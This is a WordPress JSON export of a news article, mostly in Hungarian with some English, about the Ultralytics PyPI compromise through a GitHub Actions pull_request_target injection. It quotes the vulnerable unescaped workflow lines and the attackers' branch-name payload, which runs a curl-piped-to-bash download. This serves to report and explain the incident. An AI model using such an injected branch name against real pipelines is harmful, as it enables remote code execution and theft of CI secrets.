{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"A GitHub Actions feldolgoz\u00f3j\u00e1ban \u00e9szlelt hiba rosszindulat\u00fa Ultralytics kiad\u00e1sok k\u00f6zz\u00e9tel\u00e9t eredm\u00e9nyezte","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>A t\u00e1mad\u00f3k k\u00e9pesek voltak k\u00f3dot futtatni a GitHub Actions kezel\u0151j\u00e9nek jogain, a Python Ultralytics k\u00f6nyvt\u00e1r\u00e1ban, amelyet sz\u00e1m\u00edt\u00f3g\u00e9pes l\u00e1t\u00e1s feladatok megold\u00e1s\u00e1ra haszn\u00e1lnak, mint p\u00e9ld\u00e1ul t\u00e1rgyak azonos\u00edt\u00e1sa k\u00e9peken \u00e9s k\u00e9pfeldolgoz\u00e1s. Miut\u00e1n hozz\u00e1f\u00e9r\u00e9st szereztek a k\u00f6nyvt\u00e1rhoz, a t\u00e1mad\u00f3k t\u00f6bb \u00faj ulralytics verzi\u00f3t tettek k\u00f6zz\u00e9 a PyPI k\u00f6nyvt\u00e1r\u00e1ban, amelyek rosszindulat\u00fa v\u00e1ltoztat\u00e1sokat tartalmaztak, hogy kriptovalut\u00e1t b\u00e1ny\u00e1szhassanak. Az utols\u00f3 h\u00f3napban az Ultralytics k\u00f6nyvt\u00e1rat a PyPI k\u00f6nyvt\u00e1r\u00e1b\u00f3l t\u00f6bb mint 6,4 milli\u00f3 alkalommal t\u00f6lt\u00f6tt\u00e9k le.     <\/p>\n<p>A repository was compromised due to a vulnerability in the ultralytics-actions package, which is used to automatically trigger handlers upon specific actions taken in the repository on GitHub, utilizing the GitHub Actions mechanism. In the ultralytics project, the vulnerable handler was linked to the pull_request_target event and was triggered when new pull requests were received. In particular, to format the code in the submitted pull requests, the format.yml handler was called, executing the code specified in the \u2018run\u2019 section of the action.yml file, which included shell commands with substitution patterns:        git pull origin ${{ github.head_ref || github.ref }}    git config --global user.name \u2018${{ inputs.github_username }}\u2019    git config --global user.email \u2018${{ inputs.github_email }}\u2019      <\/p>\n<p>Thus, the name of the Git branch mentioned in the pull request was inserted into shell commands without proper escaping. Notably, in August, a similar vulnerability related to using an external value in the echo function was already fixed in the ultralytics-actions package:      echo \u2018github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u2019      <\/p>\n<p>A k\u00edv\u00e1nt k\u00f3d GitHub Actions kezel\u0151 kontextus\u00e1ban val\u00f3 v\u00e9grehajt\u00e1s\u00e1nak megszervez\u00e9s\u00e9hez a t\u00e1mad\u00f3k pull k\u00e9r\u00e9st k\u00fcldtek az ultralytics k\u00f6nyvt\u00e1rba, ahol a k\u00f6vetkez\u0151 \u00e1g nevet adt\u00e1k meg:          openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash)      <\/p>\n<p>Accordingly, when a pull request was received, the string specified by the attackers \u2018$(&#8230;)\u2019 was substituted into the code, which subsequently led to the execution of the command \u2018curl -sSfL raw.githubusercontent.com\/&#8230;\/file.sh | bash\u2019 when the handler was executed.     <center><img decoding=\"async\" alt=\"A GitHub Actions feldolgoz\u00f3j\u00e1ban \u00e9szlelt hiba rosszindulat\u00fa Ultralytics kiad\u00e1sok k\u00f6zz\u00e9tel\u00e9t eredm\u00e9nyezte\" src=\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\" style=\"display:block;margin: 0 auto;\" \/><\/center>    <\/p>\n<p>A k\u00f3d futtat\u00e1sa a GitHub Actions k\u00f6rnyezet\u00e9ben haszn\u00e1lhat\u00f3 a hozz\u00e1f\u00e9r\u00e9si token \u00e9s egy\u00e9b bizalmas adatok megszerz\u00e9s\u00e9re. Hogy pontosan hogyan tudt\u00e1k a t\u00e1mad\u00f3k l\u00e9trehozni a kiad\u00e1st, ami lehet\u0151v\u00e9 tette sz\u00e1mukra saj\u00e1t k\u00f3djuk futtat\u00e1s\u00e1t a GitHub Actions-ban, m\u00e9g nem vil\u00e1gos, de felt\u00e9telezik, hogy ezt a publish.yml feldolgoz\u00f3 m\u00f3dos\u00edt\u00e1s\u00e1val \u00e9rt\u00e9k el (a t\u00e1mad\u00f3k elt\u00e1vol\u00edtott\u00e1k a k\u00f6zz\u00e9t\u00e9teli enged\u00e9lyezett fi\u00f3k ellen\u0151rz\u00e9s\u00e9t a PyPI-n), valamint a GitHub Actions build cache megfert\u0151z\u00e9s\u00e9nek technik\u00e1j\u00e1nak felhaszn\u00e1l\u00e1s\u00e1val, hogy a saj\u00e1t adataikat helyettes\u00edts\u00e9k a kiad\u00e1sban.           <\/p>\n<p>Az els\u0151 rosszindulat\u00fa Ultralytics 8.3.41 kiad\u00e1st a t\u00e1mad\u00f3k a PyPI katal\u00f3gus\u00e1ban 4-\u00e9n 23:51-kor (MSK) tett\u00e9k k\u00f6zz\u00e9, \u00e9s a k\u00f6vetkez\u0151 napon 12:15-kor t\u00f6r\u00f6lt\u00e9k. 15:47-kor megjelent egy \u00fajabb 8.3.42 kiad\u00e1s, amelyet 16:47-kor szint\u00e9n t\u00f6r\u00f6ltek. \u00cdgy a rosszindulat\u00fa verzi\u00f3k \u00f6sszesen k\u00f6r\u00fclbel\u00fcl 13 \u00f3r\u00e1n \u00e1t voltak el\u00e9rhet\u0151k let\u00f6lt\u00e9sre (a PyPI-n naponta k\u00f6r\u00fclbel\u00fcl 250 ezer let\u00f6lt\u00e9s t\u00f6rt\u00e9nik az ultralytics k\u00f6nyvt\u00e1rb\u00f3l). A 8.3.41 \u00e9s 8.3.42 kiad\u00e1sok sor\u00e1n k\u00f3d volt, amely k\u00fcls\u0151 <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/hu\/server\/dts-los-angeles\/\"   title=\"a szerver\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"3954\">a szerver<\/a> XMRig \u00f6sszetev\u0151t t\u00f6lt\u00f6tt le a kriptovaluta b\u00e1ny\u00e1szat\u00e1hoz.    <\/p>\n<p>The developers of the project have resolved the issue and released corrective versions 8.3.43 and 8.3.44, but two days later another attack occurred, during which the attackers published two additional malicious releases today at 04:41 and 05:27 (MSK) \u2014 8.3.45 and 8.3.46, containing different mining code. Until the investigation concludes, users are advised to hold off on installing new versions and to lock their dependencies to release 8.3.44.<br \/>\n<br \/>Forr\u00e1s: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=62365\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 Ultralytics \u0431\u044b\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":120891,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-120890","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/hu\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"hu_HU\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 GitHub Actions \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/hu\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2024-12-07T13:46:01+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2024-12-07T13:46:01+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47 A GitHub Actions feldolgoz\u00f3j\u00e1ban t\u00f6rt\u00e9nt hiba vezetett a rosszindulat\u00fa Ultralytics kiad\u00e1sok k\u00f6zz\u00e9t\u00e9tel\u00e9hez | ProHoster","description":"A t\u00e1mad\u00f3k a GitHub Actions munkamenet jogain v\u00e9grehajthat\u00f3 k\u00f3dot tudtak futtatni az Ultralytics Python k\u00f6nyvt\u00e1r\u00e1ban, amelyet sz\u00e1m\u00edt\u00f3g\u00e9pes l\u00e1t\u00e1s feladatok megold\u00e1s\u00e1ra haszn\u00e1lnak, p\u00e9ld\u00e1ul t\u00e1rgyak azonos\u00edt\u00e1s\u00e1ra k\u00e9peken.","canonical_url":"https:\/\/prohoster.info\/hu\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hu_HU","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 GitHub Actions \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics | ProHoster","og:description":"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.","og:url":"https:\/\/prohoster.info\/hu\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2024-12-07T13:46:01+00:00","article:modified_time":"2024-12-07T13:46:01+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"120890","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-02-22 15:48:05","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 08:42:19","updated":"2026-02-22 15:48:05","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/120890","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/comments?post=120890"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/120890\/revisions"}],"predecessor-version":[{"id":162483,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/120890\/revisions\/162483"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media\/120891"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media?parent=120890"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/categories?post=120890"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/tags?post=120890"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}